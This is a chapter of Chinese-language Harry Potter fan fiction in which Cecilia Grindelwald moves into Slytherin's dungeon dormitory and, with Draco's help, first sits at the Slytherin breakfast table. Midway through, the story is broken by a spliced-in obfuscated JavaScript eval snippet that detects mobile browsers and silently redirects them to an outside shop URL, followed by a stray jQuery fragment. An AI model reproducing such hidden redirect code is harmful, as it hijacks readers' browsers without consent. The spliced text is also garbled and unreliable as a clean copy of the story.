分院后的第二天傍晚，校长室里已经很安静了。
分院帽仍旧放在高架上，帽尖歪向一边，仿佛昨晚那场漫长的谈话并不值得它继续费神。壁炉里的火比平日低了一些，火光照着银器缓慢旋转，也照着桌边那只没有盖严的糖罐。西西莉亚坐过很多次的位置已经空了，靠垫微微陷下去一点，像有人刚刚离开。
她在那里度过了作为“自由人”的最后一天。直到此刻，麦格教授前来接她，她才真正需要离开原来的房间，前往位于地下的斯莱特林。斯内普教授不便进入女生寝室，而她的情形又不适合随意交给一名斯莱特林学生，因此，这件事最终仍由麦格教授负责。
西西莉亚低头看着自己胸前。
黑色长袍上多了一枚银绿色的徽记。
蛇盘绕在盾形纹样中，颜色很冷，在灯下并不显眼。西西莉亚抬手碰了一下，指尖从金属边缘滑过去，没有感到什么特别的变化。她知道自己已经被分进斯莱特林，也知道从今晚开始，课表、座位和寝室都会随之改变。可直到麦格教授带着她走向那条陌生的楼梯以前，这些东西仍旧只是几条被告知的规则，并没有真正进入她的生活。
直到麦格教授把课程安排收进文件夹，和斯内普交换了一个眼神，后者并没有什么表情，但长期的共事让两人有了一些心照不宣的默契。
麦格教授转过身对西西莉亚说：“好了，我们该走了。”
西西莉亚抬起头。
“去哪里？”
“斯莱特林。”
她停了一下。
“现在？”
“现在。”
麦格教授说得很自然，像一个学生分院以后本来就应该去属于自己的学院。
西西莉亚却下意识回头看向邓布利多。
他仍站在书桌后面，没有催她，也没有走过来。福克斯伏在栖枝上，金红色的尾羽几乎垂到地面，校长室里所有熟悉的东西都还在原来的位置。过去一个月里，她每天从自己的房间去教室，有时会来这里吃糖、读书，或者只是坐很久；如果晚上走廊太安静，她也知道从哪一条楼梯上来，可以找到这个一直亮着灯的地方。
如今麦格教授说，要去斯莱特林了。
她想了想，问：“我的东西呢？”
“已经让人搬过去了。”
“全部？”
“全部。”
“书呢？”
“也在。”
她又停了一会儿。
“梳子呢？”
邓布利多这一次笑了一下。
“也在。”
西西莉亚点头。
这似乎已经足够。
她跟着麦格教授向门外走。走到门边时，邓布利多才开口：“晚安，西西莉亚。”
她回头。
“晚安，教授。”
门在她身后缓慢合拢。
霍格沃茨夜里的楼梯比白天安静许多。
晚餐早已结束，大部分学生都回到了各自的公共休息室，长廊里只剩盔甲偶尔移动时发出的轻响。麦格教授走在前面，黑色长袍的下摆掠过石阶，西西莉亚则跟在后面，一边走，一边默默记住路线。
她已经渐渐习惯霍格沃茨不可靠的道路。
这里的楼梯会在毫无预兆的时候转向，门有时只愿意在某个角度打开，一些看似能够通过的走廊会在几分钟后变成死路。最初她总需要教授们带领，如今大多数地方已经能够自己找到。她记得画像里住着什么人，也记得哪一层墙角有裂开的石砖，甚至能从一扇狭窄窗户外露出的塔尖判断自己大概在城堡哪一侧。
可这一晚，麦格教授带她越走越低。
窗户逐渐变少，空气里的潮气也更明显。最后一扇能够看见夜空的窄窗消失以后，四周只剩墙上的火把，火焰被地底的风吹得略微偏向一边。
“斯莱特林在地下。”麦格教授说。
西西莉亚抬头看了一眼石顶。
“没有太阳。”
“公共休息室没有。”
“寝室也没有吗？”
“没有。”
她想了一会儿。
“为什么？”
麦格教授沉默片刻。
“传统。”
西西莉亚点头。
她来到霍格沃茨以后，已经逐渐学会接受这种答案。这里很多事情都可以归结为传统。学生为什么必须坐在四张不同的长桌，画像为什么能从一个画框走进另一个画框，楼梯为什么宁愿移动也不愿意一直通往同一个地方。只要一件事存在得足够久，似乎便不再需要非常明确的理由。
她们最后停在一面没有任何装饰的石墙前。
麦格教授说出口令。
石墙从中央缓慢分开。
西西莉亚第一次看见斯莱特林公共休息室。
里面比她想象中更大。拱形石顶压得很低，却因为向深处延伸而显出一种宽阔的幽暗。银制灯具沿着墙壁排列，光线不明亮，只把深绿色的沙发、旧木桌和雕花高背椅照出柔和的轮廓。最远处是一整排巨大的玻璃窗，窗外不是夜色，而是黑湖。
西西莉亚停了下来。
水贴在玻璃外面。
湖底比岸上看起来更深，也更安静。水草从石缝里生出来，随着看不见的水流缓慢摇动，一群银灰色的小鱼从窗边游过，鳞片短暂地把光投进室内。更远的地方几乎什么都看不清，只有一种浓重的蓝黑色沉在那里，像夜晚被倒进了水里。
她看得有些久。
一条很大的鱼从窗外经过。
西西莉亚的视线跟着它移动，直到它消失在另一扇玻璃后面。
公共休息室里原本还有人在说话。
入口打开时，几个学生只是随意抬头。看清麦格教授以后，声音低了一些；等他们注意到跟在她后面的西西莉亚，那些没有立刻停下的谈话也慢慢静了。
这并不是她第一次经历这样的注视。
刚来到霍格沃茨的时候，无论她走进礼堂、图书馆还是教室，人群总会出现一阵短暂的停顿。有人因为她的长发，有人因为她和邓布利多一起出现，也有人只是因为没有见过她。后来这种目光已经少了很多。
今晚却又重新出现。
而且比最初多了一些别的东西。
麦格教授没有解释她为什么在开学一个月以后才分院，也没有提起过去发生过什么，只平静地说：“西西莉亚·格林德沃从今天开始属于斯莱特林。她的住宿已经安排妥当，斯内普教授也知道这件事。”
有人把目光落到她胸前的徽章上。
也有人在听见她的姓氏以后互相看了一眼。
西西莉亚都看见了。
只是没有问。
靠近壁炉的位置坐着几个一年级学生。德拉科·马尔福也在那里，膝上摊着一本书，旁边放着没有喝完的南瓜汁。西西莉亚认得他，也知道他和哈利·波特互相不喜欢。除此之外，他们真正说过的话并不多。
德拉科抬头看了她一会儿。
没有像其他人那样明显地盯着。
他的目光先停在学院徽章上，又落到麦格教授身上，最后才重新看向西西莉亚。
然后低下头翻了一页书。
西西莉亚从他身边经过的时候，无意中发现，那一页很久没有再翻动。
麦格教授带她走向女生寝室。
因为学期已经开始，一年级原本的寝室早就安排完毕，西西莉亚最终被放进一间原本闲置的小房间。里面只有一张带绿色床幔的四柱床，一只衣柜，一张桌子和一排很窄的书架。房间比她之前住的地方小一些，但所有东西都已经搬来了。
她的书。
衣服。
发带。
几个装着零碎物品的小盒子。
还有梳子。
西西莉亚走到桌边，把梳子拿起来看了一眼。
木柄上有一道很浅的旧痕。
是原来的那一把。
她重新放下。
“这里只有我住吗？”
“暂时是。”
“其他一年级不是。”
“不是。”
西西莉亚看向床。
绿色帷幔垂在两侧，床上只放着一个枕头。
“因为我来得太晚了？”
“这是其中一个原因。”麦格教授说，“其他寝室已经住满。况且你之前一直单独居住，现在立刻和几名学生共用一个房间也未必合适。明年是否调整，到时候再说。”
西西莉亚接受了这个安排。
她并不觉得一个人住有什么不好。
孤独对她来说从来不是一种需要被消除的状态。她只是习惯独自醒来，独自梳头，独自把书放回原来的位置。有人在身边当然也可以，没有人也没有关系。
麦格教授又告诉她口令、寝室时间和几条学院规则，确认她都记下以后便准备离开。
西西莉亚送她回到公共休息室。
那里已经比刚才更安静。高年级学生陆续回寝室，只剩几个人还坐在壁炉边。麦格教授在入口前停下，回头看她。
“如果有问题，可以去找斯内普教授。”
西西莉亚问：“也可以找您吗？”
“可以。”
“邓布利多教授呢？”
麦格教授的神情似乎停了一下。
很短。
短得几乎看不出来。
“当然。”
西西莉亚点头。
麦格教授离开以后，石墙重新合拢。
她站在原地，看了一会儿那面恢复普通的墙。
“口令最好记清楚。”
身后忽然有人说。
西西莉亚回过头。
德拉科还坐在那里。
克拉布和高尔已经不见了，潘西也回了寝室。他手里的书仍然摊开，只是这一次没有假装继续看。
“我记住了。”西西莉亚说。
“会换。”
“什么时候？”
“不固定。”
德拉科把书合上一半。
“换了以后级长会告诉你。要是没听见，就问人。别站在门外等别人开门再跟进去。”
西西莉亚想了想。
“为什么？”
德拉科停了一下。
大概没料到她会问得这么认真。
“因为那样很难看。”
“怎么难看？”
“就……”
他像是第一次发现，有些从来没人解释过的规矩其实很难解释。
“像不知道自己该去哪。”
西西莉亚看着他。
“如果真的不知道呢？”
德拉科皱眉。
“不知道就问。”
“和站在门口等有什么区别？”
德拉科沉默了几秒。
西西莉亚没有催。
远处壁炉里的木柴轻轻裂了一声。
最后他有些不耐烦地说：“总之，斯莱特林最好别让别人觉得自己什么都不知道。”
西西莉亚想了一会儿。
“要装作知道吗？”
德拉科抬头看她。
“不是。”
“那是什么？”
“是先弄清楚。”
这次他说得更快。
西西莉亚点头。
“我知道了。”
德拉科似乎终于满意。
她准备回寝室。
刚走出几步，他又叫住她。
“格林德沃。”
西西莉亚回头。
“明天早饭别再坐教师席旁边。”
她有些疑惑。
“为什么？”
“因为你现在是斯莱特林。”
“所以？”
“所以坐斯莱特林的桌子。”
他说这句话的时候语气很自然，甚至有一点理所当然，像是在说一条不值得讨论的常识。
西西莉亚却站在那里想了一会儿。
过去一个月里，她确实没有固定的位置。教师席边缘空着时，她就坐在那里；赫奇帕奇那边人少，她也会过去；偶尔拉文克劳的长桌末端没有学生，她也曾安静地吃完一顿早餐。没人阻止她，因为那时候她并不属于任何学院。
“如果没有位置呢？”她问。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923614|213502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
德拉科看了她一眼。
“会有。”
“为什么？”
“因为那张桌子就是给斯莱特林坐的。”
西西莉亚没有再问。
她点点头。
“晚安，马尔福。”
德拉科也停了一下。
“晚安。”
她回到寝室。
门关上以后，公共休息室的声音便变得很远，只能偶尔听见一两句模糊的交谈。西西莉亚换下长袍，把衣服叠好，坐到床边梳头。金色长发从肩后滑落，铺在墨绿色床幔和地毯上，颜色在这里显得比原来的房间更浅。
她一下一下把头发梳顺。
窗外没有风。
也没有月光。
只有黑湖深处极轻的水流声。
这个房间和她之前住的地方并没有太多区别。床仍旧只够一个人睡，桌上仍旧放着她的书，梳子也还是原来的梳子。
西西莉亚躺下以后，看了一会儿头顶的帷幔。
她一时没有明白，今天和昨天究竟有什么不同。
第二天早晨，她比大多数学生起得早。
从寝室出去的时候，公共休息室还没有完全醒来。炉火只剩一点余温，黑湖外的水颜色比夜里更浅，却依旧看不见真正的天光。西西莉亚沿着昨天走过的路线离开地牢，穿过几段楼梯，最后来到礼堂。
穹顶已经变成清晨的灰蓝。
长桌上刚摆好早餐，面包还冒着热气，银壶里装着牛奶和茶。学生陆续走进来，声音一点点多起来。
西西莉亚站在门口。
像往常一样，她下意识先看哪里人少。
教师席边缘空着。
赫奇帕奇末端也有位置。
拉文克劳那里甚至还没有坐满一半。
她的目光停了一会儿。
然后想起昨晚德拉科的话。
斯莱特林坐斯莱特林的桌子。
她于是转向银绿色的长桌。
那里已经坐了不少人。
西西莉亚沿着桌边往前走。她没有固定的位置，也不知道应该坐在谁旁边。正在寻找空处时，有人把放在长凳上的书包拿了起来。
“这里。”
她停下。
德拉科把书包放到脚边，没有看她太久，只低头继续切盘子里的香肠。
西西莉亚坐下。
没有人因为她坐在那里而停下交谈。
潘西正和旁边的人说昨晚公共休息室里有人把墨水打翻在地毯上，克拉布在拿第二块面包，高尔则忙着给自己盘子里加培根。那些声音从她身边经过，并没有因为她出现而改变。
西西莉亚看了一会儿桌上的东西。
她拿了一片面包。
正准备直接吃，德拉科忽然问：“你不抹黄油？”
西西莉亚低头看面包。
“为什么要抹？”
德拉科看着她。
“因为会更好吃。”
“必须吗？”
“……不用。”
他拿起自己的面包，切下一小块黄油，动作很熟练地抹开。
西西莉亚没有吃。
她看着他的手。
德拉科很快察觉到了。
“你在看什么？”
“没有。”
“你一直在看。”
西西莉亚于是把目光移回自己的面包。
过了一会儿，德拉科忽然伸手拿走她那片没有抹任何东西的面包。
西西莉亚看向他。
他没有解释，只用小刀把黄油薄薄抹开，再把面包放回她的盘子。
“这样。”
西西莉亚低头看了一会儿。
黄油被热面包慢慢融化，颜色变得比刚才更深一点。
她咬了一口。
然后抬头。
“是更好吃。”
德拉科像是没想到她会认真评价。
“我说了。”
“谢谢。”
“没什么。”
他很快重新低下头。
西西莉亚继续吃自己的面包。
直到礼堂另一头传来一阵脚步声。
哈利和罗恩从门口进来。
罗恩正在说什么，哈利一边听，一边习惯性地朝四张长桌看了一眼。
他的目光很快停住。
昨天以前，西西莉亚从来没有真正属于礼堂里的任何位置。
有时候她坐在教授旁边，有时候一个人坐在长桌末端。她像是住在霍格沃茨，却又没有被放进这里原本已经存在的秩序里。
现在却不一样。
她穿着银绿色的长袍，坐在斯莱特林中间。
马尔福就在旁边。
哈利看了两秒。
罗恩顺着他的视线望过去。
“她真去了斯莱特林。”
“嗯。”
“我昨天听人说了，还以为是假的。”
哈利坐下。
“分院帽分的。”
“我知道。”
罗恩给自己拿了一块面包。
停了一下。
“就是有点可惜。”
哈利没有说话。
他低头给自己倒南瓜汁。
过了一会儿，又朝那边看了一眼。
西西莉亚没有注意到。
她正在吃第二口面包。
猫头鹰很快从高处飞进礼堂，翅膀掠过穹顶，信件和包裹陆续落向四张长桌。周围重新变得喧闹，学生们抬头寻找自己的邮件，德拉科也伸手接住一封落到面前的信。
西西莉亚坐在这些声音里。
她忽然发现，今天早晨从进入礼堂开始，没有人告诉她应该坐在哪里。
她也没有再寻找哪里的人更少。
只是看见那张银绿色的长桌以后，就走了过来。
她低头看了一眼胸前的徽章。
然后继续吃早餐。
那时她仍旧不太明白，所谓属于一个学院究竟意味着什么。
只是从这一天开始，礼堂里终于有了一张桌子，是她走进来以后不需要再寻找的位置。